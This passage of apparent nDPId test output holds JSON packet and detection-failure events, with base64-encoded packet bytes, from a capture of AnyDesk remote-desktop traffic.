aB7LaoyEp1uHtrBAV2C6wPG0KazLS0tBUKM90WuQUbzkV66EJry3mMaTUaxctCRzQd49OUVkH4bVRH2tl43Vb\/0fDyIL5sKMDtdyVeBnyEuSbjNNQKbRYHxK520S\/g191AI6l6\/HeqACytF51gTRuJnsvsF3uxuuNloemPgqZSY4o8NM6z5ii5sGk2jt5ZwMcEhfGimK8mVavm1zxvGssL+z4E9KnmMjmsCotG2BOV05eBDWnvH0+urtKPoWUdZGKjHqGROO7MfTGa78WoWF7kVjzGRxDMrQ\/LV9x3vPTxP1EE2xi4CkoPL1xL8sFVzkfDCbokaah+xUf5S90fw+xnJ\/EpBRXmPwKDNPuUUrN09LVG+aV6eW8QGun+f4n5U8+Amu+8YPribCag8m\/cw1z9eUB4vN1p3EIUzdl8tV2CfLX5PtW+06P\/7j+Wg5\/LeYbmCIKbe\/kyz\/s35clK5FR5lbummV6+PURrNWSS80XUJcPmqPgw5lU1VULfWQnXrTKKrf\/IQxs9BGSMUNJjqnfQ3osFwQD3w6E1T+hTUtg8kxmU+1e5SygPd4hKP6\/tQxf6xjToEzHAChKYnoOq3URcIuZPQTimzuFAAfDygM6jG2uAaK8lsOGHNLdApTDqmfZGO4CP2TVlb9Q8r2Twm9gbnbCFeGC\/5dK9h6jC4HzYHQa+\/+m5BuFpodwIITvXmnk3ygCsaTCA82DwfSQjV8X\/Bmw25\/MQ5Be3PGy\/tTkfKSyUpIl2vl3q8\/iQwVFKXIrjdLKep6FZuOCKReIRcYuWcCilNh8xhRDKNUpmfP2QTw5f2APIxO66e\/twa7mq1Rwa2STL6mzPwGqpBFS5mUNFEnTXAY+7PCvWLciEgayoF1Au6X2pG3YXnyPACcw5\/4SO+Lgpw8AKOxQa9kYPJcTYm\/SLaZ8Zpt+XBRemmfCu\/RfaQ0X21dfB4StBB\/PsIOA9xy5TB+7DFPI8h1NavvReYbf+HhvE9RRDIdgL3jx9+8O66MJrZZMnlppta3enuSwkJNvae9wGbDQaSkdgT\/xKvKUx9S97+8L4R9V1qY1LXoazdv2h\/+zxaiCy1f0c\/qDs3CBP\/WgoQO4aShSnVMo48mjb3oLjMrJpBw87zUAUrqrTnGC2QVHCsIryxCE6bUJCVxyNve3cBRZ8R\/m6lYKBekiE1CQOvrnAcvOXvx6DInYq+W+u6ZL02pLQagH2tnjuIOEe5z1yBgjtTX2ZVMid2XT3+tBFUMyj64YmKA9woj2bZ3SWyH8yppYV6mKJYEWa6R5H0uG5WipMGKsZFhxMa\/EOZYGUUnlfJOGgn"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1384,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5477} +06540{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1386,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":197091,"pkt_caplen":4602,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":4602,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAfmVAAIAGAADAqAG7wKgBstOUG56PJqXeWcQy21AYIBCExAAAFwMDEb9Z4hNO+msWC4X6kCv\/2XBzkCcIX\/QsAdpY3GD9rOOeGYIIjKxnetJK7K7aHklG5\/QV29a1tlIOZl35VNRpf0Zvl\/1P5XhifOCUg2nZ8dqhdM02WQmULZAe3Basaay7lR40TGkSQ4zt\/zwawgYPEJ\/oeH492oqyl5K5c6xdbROOh6zGjaTNZo6n9l\/w4Sxao53xLl72j5GERhotWIcuJHpYba8ih5hyTxovshaC7fsS0MB+uHM6HiXl+BBGP8U+\/QXjPuTaZrcsqqYFgON3FBQoMQ8UN+XKrWt5YMASq7Shk+co1X28TGG7yOBJ0oCMk9qQ6ZrSojRXxg4bENFs4zI1bWlhBDxp3+pZ\/+nR\/tcmloD89lPVi7vS3QmSzvNSRNbvIWHKdwlDBeOw+neDsF94BJyd7pl1gM2ms3Tjhj4Pe7FZyAlrtHdCdYz0OyfGjwLjWSw7a0IC8ysXunVgSU0q41l6hwwrdhGLGxGemzgJwED3y2vcaWMF9Db+cncq6GMhsBq7GbRXCvF4vT4eJ0Ch1Qe98jkBrhPFraiCeXvMHEtB\/MrcCmwn6i7vCPZoA9OoRCmIfH5sXEYR2xOis3nsn606qCgOg1iYh3IpoEcz\/Gw25jUpNkoHeaZXf\/WU9LEAIwJTQpwmLVGh2KPBw2W0STodZZybyBBZ3TIH51zhO3jRp3NNhGrha1TKhDwdkabtsJ+Z+M4E4EHm\/+n5uq\/6r8U+Y6bT116IgGF3rICILWmXD9TnrdHMg37Fmlm8zU3YUk63h7zPInf14JAmOZ08xh+KrLBC0\/f6FiaNeJ\/UD8QhmFrDhTksIp9nShWP3rMLWTsVwo9eHOAtgOnrARJnAYCybuOOLveH\/5DdNCni8KgAp9YHdQusq+1I2VcHS08LKdhG7Cl4fwt3e28AKIgKLwL1RgObvL+ltcFhHwsw8P0GqquOIHuGKxA82ordLe5uaBe0ABb8FRZVTplTPgy9DwrQSmQXGjbPZBfDAoswoYMlGYk\/8kKUjJqttmjUlRD8ZFB5mXlsFhIw19wp6bJ38AV\/1GmGosJqTrik9yj+wLp1zfCwAwC6qvTCgWeB\/b0B4iqeJzlozhsZ56LpTuII7PymP8FZFOpSTIA7RWeJSjf4EN4RV+Olzfawfr5xfRHdYN6t89uEH62ZUHDH8OS3JmbulCea2DGkjxZAtzkX1mIanBypTOfMhiSROt5Rd+7klhazq2TBH6KVIZMmgdStD74MwPymTCCrUDLpk4Ao1yy1m1LVfc+LeDGqAl8ZwH56CG\/SRrQUt4L5iZ8BrQy1icG9BkaRbBFDj5eDBXrep7q8u22p7FW9NIX9aOs+yT1kjRzhnYuOiuTJahhOLreYYnN9R0Ac1z6qdGEjnQuIuIfn5hDLbhTemyD9Y\/h3G501bTSpARIanZOajAlB5dbwE6PF7a8bBqaygC+5t1YLwDbr59PFr7JTQ0Rjqo7mkYNUW7WDN8BAego\/ZizRyF137bXUMD6J9hzBxrKHwxb3E+AQgyaW9Hoa2pH24fDgqI8zLcQXf40VfhVRvRnNNHsvzQOB9aOiU1g\/UqkFz5VN8ffebf1wtGETdWWfobT\/kijAK7rS\/vyYqRIHaQsARqxof+38erGy3moWCQPXmRH0MtHRgkXEPvBo1Dp4HoCq9fYZ8LpUH2mU7Ay6I1Pep4PwjB2vPaGzaXlBkl5BTTSRO9uLvEqtgdYXl1ZGbCH1BiERtdJYeS+Uwv45j8akl1T\/CMx6tvJS2HKAuL94ZXdHj1kWdatZo7bIOaCy2L16dMJdbTlycGtlLDHEDh5Lldqs2QWiGJSDCeWKQ9MPFvwHIcGEVc\/Diwkxl0Y2oa5S\/Rj3N7x6NtZs70jKitQAuiAqCmSol+ddd0AuVvI8BufNE9QNT5pkD6wp+wKHUVjsppeIZZzNN4D5Enp\/wBf1BZr7scta9PXSp6s0Fm0HQNN\/V+hZgtBB+c5Jhj8r\/PiuLyOYJl2N8if9hFdppnlWcYPDgUqq\/nyQorCRksPQmSsAqUBvSWUD3xvK12occyCPqSewP351YjKkEg3mDr4ARxjmpfBxEWumDmi5K71JLJImhbloPrSXb1zzBPRuHKsuiOE999DaqfHod8JSglacfB5iPeTReuBNkJpLARnIHEJXj7U9K\/HPRgePiks3KTB0Y\/sN\/k3RJdA95VBhzwB7KasM9XioJ0jlPydWbsdydq+RgNcHNv8rLPf4Nsguk5HE+DGUjVQ5ABJEjsqqfi+uQonCDSgHOVTXqVAF3Lqkp\/wrJcgj4Y9KqOY1iTBvlkARTXSnKevx7pRpWJgOaru1VOPEzRT0rkXYBHG1Nat9eZBj3skGWIyc0n6SBsEfrTcjnzi1GPPk\/jwPBZTm3tyT2jbyX\/dx+t1pT1WSEoc3fhlQRMCUj9A9CoXrjoSO9Cz7f2SdShqLY28l6VhKYQysq8qWcj77yebTTELOtj0+lVq5uCqgoj\/S2OPez4zhZHD8mdYC4ZdJTL4H1wpOGMDWaXzgqunrP7NgeETDU9V9xngH2INwCjel6fbKrDOLfclsAzeCNno1Ga3R6WQtQbYVwKGoTmLHi3E4wdQrqcFmT5g5Tj9WzGRvZmCVwHt7YaEh8dlXiaXDue9sbQJ62X1\/ANB3qVibh9jngNnPIFXtSS1LMI2LgtJfHDY3pKYFb7s71lyBKW3++K1enILDsjs4EOguvgQOQZecZ3AW9jUtGZbqV5uJZsgeCvzJP585i+1FzTdvu2bWeHa+A0ABVNz4mB6+G\/D6TM+1EeegHnlbSLeYUPiKtD6DE4sRtRChGX5wHnYb7s4ki28ikJF\/DKexoAR8rTSPY8HWShpbHfvAAbvD+1aB6UepvnVex\/b8h6tE6HDevRAR3qNioMSsrsCnTmXX3\/3ctc5iOBdzPQk55oOmdD1wR9jhdNu0exOElzIxhzu1LODw\/HtgywlSG3Jtiv9XJAlL4aQat60wdTjF2MPWvbY\/UDnjdVLcTgbV5iLWWPmRcCNf3KSL7xA93pqXbnh5AbGqGc4\/VgD4KmJ+XH+JHK+58CQWjfAfeWN\/\/byxEMN+BB\/YQOXSm6gjz+GqXNyrDrcRC8Gg3BN\/2fR7VANZxQQdOr0dlJpKx8XtK0bWTlqVCDZPYD\/dwQR\/4PU2IPjF\/SOo3LnlVYUcvmV6AkREsNi\/ryv84D03iCUTpuRnYiR6Dv3+lLEc3YiUnAcwXeTEioaf2e4GEMlpSmBYcw\/U6wm3zcd9d9DOaUC+51WFby77EeDb3UD8RbFp+EcfpS6STj4Yl17FlkPTmglcGENyWrb58XiEFAl7gUJjpWVXpP+UPwD89IZmomo63iFyNc1gx\/H4UvwoQtYhNar\/8R3kcOKSKWFYTEn4sCq7E3TE6xqpBNTWu\/4PxDPuFRyD6tZvzLokKrPuaABoTemnCXHwpaVzDdCEUqebrqPcgiK\/wQgX4zi9aC4kg\/atIFgN6jYZ5ooyfT9CKc9Fu4ebLaC7FfK8kDCZKIzbx4HQRExIlWqjuKAJz3wBF1WzVpQhpN+HiWVQexznIFVzLkTM+XRObKV5xvNNxYkaaYRhFI3MKuXqh+tuKDZCKjBBJY7ch2YgmIxL4gd8ZUYeTrdMUPi5Eqfmb\/C2Q28oMmATVoNrVQNO5dmLCTA7tQ1EpAtU4FrWNw5RUdiBxBbSAJIxpJs7yrdtf9p04PAMHBhoWNSOTDVJDC3plp3JnUADbMvag7YDFd4HtghbGAjzHyQMA0UsyUkOg72YpbFy7eot+k\/kEzppmoSfhIiY26boOhgONoFgfdhdLky+CUjS6XOmqq8ole240aH9e7zYZ4rrbXrB4wIeI2Fo4TeVLJIOLarMNDx3QtyD8+I3Bxgr5e+SgwTORaExDKRxJIKocEapnUpzbD0ZvOSYnRhIrjF1MiSFiDxglHernPPG+Dt9508K2RPxLxJIw66X91IoekYXShEAtsK1ntMWS5cIiY2LulDXOYEM4PTGX1mEokhi1w96oBaPXXvUqzP6ovj1VQSNL7EPFHVSffl9ezWrb3ma4ynYnJDnL9yvOBn5\/j0gv6i+\/YpCtxOTGaR6CCgAdQztirWxK569pNWUGHDr8X0XXqo9KPtgAiHY4ywOwDaNRxz1lo0GkvdlovDyFA41+90hUf4wbQOtzOgOs4e8EehE4tEt9x1BGX4JqZ9GRJrGOK4orrzZSlmtG9WeDJ0DSlCNHYcRERzO0zXB78QMckf0\/ux5B7O6wgxZ3YXyC+p9WEyZQnFirOvmGh\/a+YmV8VneYhP\/LMTPO6nmvwsuu8tkUQPMBKHttgse4Xaas\/kB38RZ4ZpBZE\/76mu2RApzyt5oJZ1+Msg0PrPBOOx23FMgjw1lwfFli10TzvXd7TC4oMeKXnEkauhAXxJ5idAnbUcfo6mC1MnmeDjIubVP1URyrki9fDPy\/f2AX3kPQXNHOw1NP+7dpGO\/\/jDVMo6IzZKKhH10wQisExu09+yiS8TyIt5KgXBzBlTZy5Nj2tVsleO3sqSQhSti2R8o1axF0I1y3WmWKV2A\/0wWNGwyZ8l47kSlHZhCTDYVl1qpmCLyvprlKRm8NdHm1\/iyL1etx6w+l71c8I8X+NHvAsYcenr3\/qoY9FzukA07WShc658l1IHn4R4dVZ1mPXcOshYS2NQAHvCYCxX2wriYbt8qFi\/V76Y8RBlZTL3BZu9I\/TRCk29MxLtr2J6MzYED1CFmdDqEOT2BYfikfISwRvi4VecftipQkEeboOQA6QcUZeoh4RenDSyR13ws7jp5sw2Me84G549BrHkGO9VQIlZCoy47DHK\/AQ0BnvDPNqLb0DIVYG4Zd4GlMCrDEtOHCEuMv9Rh5T8TS5AKdKsYM+3r8rkR4+umftGhZIg\/2pQFlyeebaf1vu78wNU36Q9\/q5MfqK1zUX9JtJtmQ1oy4Ng7oj3t6WIxnHgXt7IxFAFGWdiblvs\/ESzkSwp8epajihIKzQ75cI8k\/LvucRqKSapLdz\/ALozfCI58ulwRUlKnMB6bFH8qzeN7hkAl+fS2o1u3rDhHzTPG1O9darGN4S8K0mZdEYnw7wuEm9xAfoK8qtjs2b95cg8uOOC3+xpQbwE0bOaWtY+DbmQETNGpiafa2nZ0XCPap0M\/Jaf9ENyeafqvyZziWc68rtBJdsgwn5NIRobE+DKRwXH5Jv5BlV+3vnV+cuvKVKm\/lg8N\/OAXaNEbOxHu\/N3Mm+bQo5U8WKYPvIQbzR890AAhdqjHGHOgL0lFBxbSSRDXcJnGQJaGSJA6cYHrgWcdBCTe1XnUpQEXbuLDvYTgrnvLMaJ2jF1+3ZJjo3\/NqCGWtKtNFsDKVkh+kVtR2QFzJOi\/a5HCLOepd4T0ZdeEJ55dlXf4Qvq9VAuQrn2MSzu5Ka0aHmqBgR9B5HeDr9uOTmYNEkKGET6mtovd4uffIGqt32+H7oCZ3C53d+mOZxarkDz7Sc0Nq2C+mJlmSQvI\/Y+6mxv317T\/92J14gAg0cNhyN1VL4DCmVRA6hPxTrPdrKo4eXhaQIGIPoqnKhrKh+eI5lpsCJqRzkEJhHQSd1QVkjJ3mVwGWSSZ3apsZnA0SjZSemWTgk6eY4MTo3FSgveauFsEOETuzdvrzCgl6bCj9YJjuB6ARmaBc4DLYpjBMb9UxAnZn4oSiv6SSPQP2QrfK6lfgavfrAQM5eil6YbDIkgM+MT\/kPdncmZhRVexIg1dOxwpK1ly9v7wKiY+yFGZXoTGHCmhTo33Pdy9TPJcTr0l6eoB5pZDG+pK6Ydp0xNxLbA8nf\/SIE3FutXX71UrPQRt5EcdzjMbz\/LVorb7B1vlWBO41BfK6ID13Kkh7g+ei8SDS+dLBaNU7C\/piD5c520SFXCVPuctm6uk3TKSZSi35w0J7xpUi730khh6hLjG+fJ3FtX3DXvUfSF7dMA\/tzLkW8kYuYE1b2GQUt1k2cCQ75W4qvY70nDQ5u+diLNoPEvLF1PUKl0409F9IjMMolj4xfDSgK3sF59h74JMevSOQYg6Dhs6glXKdJokwNTr7Tc38aJLiQdWmAJu"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1386,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":4568} +02520{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1393,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":225821,"pkt_caplen":1644,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1644,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAfnNAAIAGAADAqAG7wKgBstOUG56PJreiWcQzOVAYIA+ExAAAFwMDBjFZ4hNO+msWDKXx+9yhmbwiwK3TNJIcjcGSndAPsQlY8rZZ4tmGqqRtjba9QiNviKrBdVP7EjURnbyxXWhgGozYxs1Zp8oevg+SrzXa1SqhNNFQBHk6otM4ciL1Cgu7bPkovF8THgsb9bLYj6hY0EzRT3B\/8fEmkTb4i9gQSbeyFIvEMqzLk4s+57heTGYlYH7PeWEZWmQsIae\/JNn5OV9fXG0pIcQnxt11DMXMfs5ywZVgaSY2\/umTLGWyi4IR1PjcpdHByOHbw\/4ETIrFOTslceTmUdb1yL+W\/8XeU86oUGtTueJjJbj0xeBQFsZaVB5ih7VaHHWmV2AVHlkwGWK0yaVnb1X1MO94YRgCX71bD2Zh4kpJXN+5IVra3l5W\/RFKrXo1Vejd0wuTllCfIH5\/PGNSu7S2yCxijbJjeUc9XOlOIjl7sihOB6adDjocLsJGBOoODA37EeyVDoT33glV5rfUpjeNhWgvX7li2mdTRrZDzvjSSS\/BibQncGIWoTYfVsYpCbd+lSkwF2phQk7w81SrcfIV6Y0QjTnSIHlilt66Z2PN35PYEGMLM8CjNg3N5InXIHhk\/9wcSOFT8KtlxKMGI1KVsRSABEyi+dN14emDLAih6BqruV7UUwsws3JPqAEAvBKMHmgpWpHQf2L+mOiXp3xV26AHtaWjlz5FZ1nBo5Swjq+tYC0KyQa2iJBarbbSyCoF+GTBctZflGYgCuRGB0Ytyew\/mdBUE6B782LxzbPOcc8xKjbrVuhLlNW90i\/9nDmYrYmEugqDSm90ZzUuY\/M60xX+pXl26eejRtjCAkpOZuDdK06zZ6b0xP9hPCRTqts9JfnRqH6HVllo27Ii8L98bRFExHKCPdSn5NBdP5Amh\/27TPCJx06BDOLuXTTYanHW1oAZVzQuiSch1RNY5kXaHrigNNO0UPNJKL+0jIhflaMp5dZeI6T79ijWwFYOQwC+EOxpN0B9jimfI6rQFevHWvj6UjHSNPuw7hGed8iyLRDtFJPjd61x7rUUl38md+L28Jg+RhIetm51pwHOIFbsLhX3lRA9OFTjbDYJYJtmCu2DKusVXmVHI40eeTznfjGOA+xKog8E3kL+S0Oxo9wwEJeGG+V4cnhz8Ai7ZE2RosdA0umwkrMnh3fIiigal36bTeXmGQ9KjGM0nlFd0USJIyBFCJgTVCKoK03IkJT8Cr5XpOPyJyY7aNUMEjcmgq7HaAA6jQ7Wbu4Hh1FbnE3qepY8qqATQjLa+HCVV8qwXRdOAke2agszogF898jQi1tFr5iOEmH326ifMDxTDMBn0fTM\/ItTviuuOPiCduR4gMdVi7lnBQxFaLfQB5VGzrb7JQvVAitbCvz2074TeGxAqlA2RCm5LAxHDzIiarBBov\/xvmyGwTzAe+GeyvHA42xY8Yxgcry\/aUBsMlkD2ucCJKVxxOoQKyDyX5pqhXmgy6UQdH01GWQPSSKKockedii1OTR3rv23W2V7VmLd+US3NxVSVjRNzvKfQKJAVeK1cmwW6HSSnLLwDZCC7x9jlImv8LsLQ4KMOX3hAiEpndU6z766nNjGifY\/qv5\/S2yXTnEi93tumY6D+Zud+Ek4q3FfZLcFB3LwJJVK2+Q0b+RlW5KMNbHvZZpPvbZca7l2numdTeXSvoI3rxSSafMnWbDWopCdR0SvE41hCIFEa4+Dqi6nPNXGiBM1bw9xxo7AO9Kq+81qg7BZUbCF0fSZ\/ge5H7t6yYZYitI\/QbQ8bOmmTgNsFracz3ujtW7mHrZeJUYbaDtmuOlnjri7aqyAfftILTJP9QAI+7GK13l0yOUM\/ONilC89UU2cp6mLQbZ1skl6G5rvqLgY5vf3bUGyjVKa8zDjCyZ9vpHOBMQP6n3qOY5nUlHgQTZERDUH2N9uM1fIYPvI6pz3e8BGhBdDvsX0UzOkinTyg9zxMVSrELMtOizfb0t0PUtLWThCquOEUZVZxLlAZKlVKg6wqlXTcnouQav28lwWPwX3wgZHxMwXL3GZUlZi7yR9bWBZQFtudiQWsNVB3ORuf6GE26PKswx4h+wE51+Q2iN2J+KythekaA\/pzymAuKJB\/tjQG4R84qGlJbL84BTgdtLX"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1393,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":1610} +05327{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1395,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":226511,"pkt_caplen":3700,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":3700,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAfnVAAIAGAADAqAG7wKgBstOUG56PJr3YWcQzOVAYIA+ExAAAFwMDDjlZ4hNO+msWDdf8U16dFdJfYYmioYCoGQiBwQyjx8Xm8n7ZMLwseKgf2QNQDa4n5J0vf42fZI3sRqBaUQkfjLIkk5N0JEj8t\/7kakZBN7TCsBzxP10e\/YS\/uJs7JAP4WMnilPiTRPayJZ7O+0T\/EnQapmge3U4n5CSr8hmI32AmlsekcCCo77ZpHBARXxwvB03cIV26fyHPbQu0u7o7UQTuOMsQaXZlIt80zXAI+YQOu9tFyyhrZZWBuBPTz20QAdin4DWrsCsumamatcgHvSjVdCHIBYCl8SZiBIaz1Qfkcyceq6ADEx4epxbwJs7249mUd5qV30EQY12mULjutzk1gjXp3SPymgBtsyCzYFhnHNjBlrYaLVxM166VX6xxlxv3cBUT4jOkf47dMnu8+Kmx2YlsUb6LqVpgG1a\/cmhNsQ0+CHBBUmhh6\/Mgev38kSEXeIpi6Mov4BDErNE9txoXv5p8oadcKKtRRd\/PfvWKIF5CrzqWmIN+6SHuVbAFhrtytb5ZEaqEDmL\/Ph0\/6Gh8oNpSMJ4f92Miz2Ky6N8iu2Sj7n9KgZCkAGEg6IWOUCiMTNtfki7JMnBtV78bwsCJW7FUbR7O6AGH5TgHFGRBo\/u5nz\/HaQQ4GZ6rgUlPMRlxYEAv3HJLFRQx4MxS5GZvdlojJXWu1GS\/\/dAwIbZKa1wY0E+MOjOvKGjCCWqr8Kt2x90M97IdbohPfEGa5dwEGohUg6IZnI0kKPm7TXHdrSVcCjI3BduS8H773LHehGqV7mZV75\/JGj1+XKZTAMFPiPJIWl4u3TD6OI6HYH32YdDD\/JDqr2zqIIuwzDgu7OmnjHnTXDLJJHvFM014tkrmxiVwcrY2uRfgSf7wN1zBBV1rlZEYaREqRfXfLS7tJy3CF\/SRrEIiZ\/9h6PbpvagJhnL1JrgGREyrqeID435\/7od\/1vDJpBrLGqdK34Eg3\/AYOiLPiNZC8GuGYtKcyx9fHDbQJZsGR9nnzY4+StR\/sNKAQMMqdv5+d1rTCD2EFV\/giAxjD+zpiipVaYZtJ2GhJ9NGsm5Yanxna2O1H3lvyrNBQTOnXiCfKeMpemoPy65whLTIVmaNWznF1ssC+9xPczUb6SutVXTS4AK\/GNURwL4AOlBHKa7eiFSVvNowpVtQn0gK1S7dSKAymDm+9bYekW6TjzJM4zReWuv\/rsCXQtusINkPRCHWNPgOlaV8kwa8qKBaaezO7QCboNiNsshxY6m8zBLlg93NYAffUINXzbTsKPwiuwiZJVYl1LMZXEHeNRaWi5wHb6s7kYci4MG7m4sqrSercECwG2pKeSKhq01sEc6ShuTjzBszTvKdw7eAWtbAzviDO+mM\/mwD2uCV5XuvOJUPmZfwj6eQtZ96PhVtmrxglvlpE8zvXPiePw2NCzqj0KoZY1aW8PDXOQ58+Zpb+QfgvfbSLe1ScqHl3Ggwc6EWnf6sEn3gIdYS+hIpCS14e+8uRLZj6zHqxJSbXhnGLpw+aEwIJ5k7hAuwI1qFe0x1jAa1HCkjiYKNe5Hc\/zGnIh3CZ6+rd0BCFbsKWNlH2iSr4PS\/T0erWZvsCZ+AIsqe2vjq2Ysk9ICxGzqc\/zqUkhUBVv9MUzObzk6P30bP1ouGCzkoe\/99d9vBTIZLK8406JhgX0vK3mIu3KINhYjYsaIXW\/ZYCozciLM57yVhIFcjX1Io9hJc9c1GQ3qyltGGKRmR5uBvdScVaHxcHJJQB2cUMw03yXEtRsN5fgJ6BhtQHLu+ifNET0tvuQPSpanKq6bOAD\/KG4pwJPu9qVQcYZ9rx1\/jwMokR1+ayso2ciGJyEyHvZpUe7Wzri9NscuEQ9N1MUTtBAbUCq32ujehb5Qr7jwZbWUM1z1iUqNHMOgdCD+zb1t0tqyfn+29GysnEOLNp86EcnLG+AHSDj0rjCfV+hChaSv1ZVt4gRP6P8j2ZMc7E7qBRnqnjyFOnDXw8cVpnaynwZVffTb+WQrMtFsRdAzNqukUdKUUOWfEfjyvK9tr3bBn7qzFF8i5O3jt4hNvlq1p0Bf9\/CKOLCe4Aol1cACbumcfmfIQTUD0pTg0GEHxpc442SX0XCAOdVt86k8GZ1nlWtFixdlNrWRTT4nMMY64A2azpHNPPXEUmhqTe1wenHtgnElQV8MzP3QXmdbfkgYKdkZEfEPwivedsFcqN6kHInMKhdf0zma22Zs92Sttw9qtMSxVJzOKK8MCOekeKTkfP2w\/cewxdqDFxAvNgKTbhExSnc9E3\/D+66AUMs1bi+1shGgcOdu7aV4UuthoYRliFJ1HsShj1d1KOuMOzt1j+X2ES3\/5K7oXmwCb5adu\/G+9v6GzHjB+2OQg1shmVQiIj9y1RxynkfnGVXlIrhdRjzazDRKGklG\/G2Lo++hfpX3Fy6yl0rN6IHObmMzv8bUasToSNsMpqoDMyZdSkxBVtJ7StJ0nTTFR9EjGwqAC1OTSaGNvvb7cSpfro0Yu2jHb5hP6\/1iJXxw\/j9yoi6ot2sJ\/rw2mZ98sZMg\/SZA+vew\/Cy4h0vbbn5wVQ06hFyaXZRotia6pfRIqpMb7s6lXgng\/nshogofvne4H3p5RltdK7ScqrngPXHrGJ7d\/6mnkDR04ML7y\/phroW79kkd7QKB0e46umBBMkG+Fg1QJ8ChI+aEulwiMgkxS10hPwtRiP3bTGQQWrNicM\/8XCXGY+bWi39PzNe3HB+jU0wsBhATZeTNYJk3j+F6mJkp6JFR4ORc4QZ0w690fdOxHYLD1OMKpGUKrTCtp0h+FQJwHfOTF9N1LfVKKgRXXzbf19cVnnebX2OC3WZO3uU82yrkr2+\/0Tqad1LnoxM\/Ky8L0HcP\/NqhNkKRotfwJD8tQRiOnTk\/+0YotNh58CclljIiyhZ9hbgbXuvmo0iPV\/IZ5ynMRBl\/JyATUsiu8i38FVPYPy3KtSPlEq8QU1JjM7ZgMndJ9pIhPwsMbrH0TalsaOXxnUOMO+6xQTQ8RVF+rErVRk6dLgAQTXpW84x32Otr0X9BCLb4l7kJLzlszCHczJreBXzNme71sb1mv+VJhdkY6ZxFas6bgIdJ45+im58\/se2XwoSL3PBa+gzYDcvL8ptgEtZvTSGTJVDkzGqryYdmt6g7IhMLE99HOslKq5mJ9ZcZ7e37vmF+23vMZzjuH+txLBYdZ\/Mo7M+Mnr0Fzs6aaeDokaWGZwClPqkcbEuoPDH2tpuiGQt8Rt1e7Qb4OmD+Hgq6U6ZsCAdlTkc8yWSf5OSxSAsk3SxQZQy4gk7Z1TI9MwNNOZK7\/5vrW7BdvPLQJ4WTFJ+hOgMOrqyX\/ZReMgEDSoFSAs7HsTl6DT6NPR7WhnZqq0kp6ff33DXef7aJXh0j1cs7h3AnOabTrp2ta89iyfhIfVGelCBT\/mrO1wapERB2SCpyXQBAcsJfS6\/te9edB19LrUqAttPtyRKtcEBrWESMPckhXNKVdtMJ+Ys12vYZ3TGcAY6k0wqK0BIBNL7D0RPql5cB8hJKf3UOFaZZu8lLE6p4Ryu7lXc+As4YxQPo8ntWNP910GgGSP78mQP5wnc14qXA8fpfnQEvb7s4I2n8HxsBsLAkPQZh3wqGphlypVV3Y+72IUqhNFDrXzPGt\/xrgc+YVK6xfTUimSmsjodZi5YcYK0dw9Pz87QGojQmRNSntLri5BrwncqNchlXlCD9m5Z+BhPRN0036XMDTeOFunZfcIGtwv48CHzxFwBp\/sGgkTwhCbKBkBH+coBuGGO4N\/C9woDBl5oOQBwxKwa18a2Rj0dqWs5BTMnWnyKKB6OqQo+LjSkjTeCvGaP11zVWWgNyaP48QIJ8NCYu9Qzro1bkwX+8Ta3VwKNngt4wfDkei4PVftex\/hZI7TR7KRsQxG7VGQg4Qvm3UztxUvvMaeN7TcILR9FdOvUv70ES71Kbech+OC7472PUx2LFeonxzh1XoYR6PwH8WZ6fwDgZMN8uaSBmc5DBRWAUuv6T\/QuA\/4lsqPRcnFtos5EIPg\/UJcG0EYm\/OL4oMYgQTfY\/WaSyeT+PD7ekivF4F3w0H4AqdPJwaf9BYe2\/d8uxlg30Gez9+PMwt0Naa9kxkTIwqYXRn7TXd0EPbWDFaYZMdV4h3Ot30FzI\/IIQrrTPWKT6SnNhBRwBYqjxmDa7luaxJS9hQZ6tOubf0vwxAz4E1\/QQeVx8DYnPH1d1yEDbVOOVdkHzPHAY7yEH\/NFfCRZW17NZlxsbu\/Jy2UpHU2M3EeuFoOCBYKe9YXOwMHi74JMCG8cyYnX9Px1YlQ7R16xkfYRxfJ\/43JBxvMyRm5Sw282FP7hZdYpyiEYFz06YWbKkv7y02vE1QWqXoYXxlz2X65wt\/gJBYiBQ75qySG\/sMslRxUeDZirDQ7wDngbCc8UgpyDS1KngxxIpQqmtAsHtUeNCCy+0cOkD5b0cuM1V3bOMmDXkrd2\/UEsbCsltkXnjEinq+TIaKZlyhOnmvWxRYtMCKOejcxm6fHfKGqfk84w7wCcl9aGwdArkibmyDzznD6TT8pgtsCyQN\/V6dtdUzvpS6Q8TWrCh25P3AyEJvalSOaR0jnVOSirsLye80IfkAbSxnwyoWwvC0aRkfEJumAigCxxZE+kNkw6O9yZNIpeTg0pdPZI8+3WKmZUbXpIacwRk2c5+R4IdFmI2D3\/dSqiM9iAwFZY8m0nkVup2KXmS\/ocSBBOKXZRjjm7qjczrKjtdI4C3gG9BEX8efBkHhol7R9KvAckqCsO9+SN\/IOu1Pu4pK6\/p\/ghnj+xpc0Yv\/Wq3V4AQkCKfA9geYqT35WfKER0LvpxPeZ4ncZGXsw6j0rFW7EMwi\/j1O\/lOTEpdLC7cMSd0nuA=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection 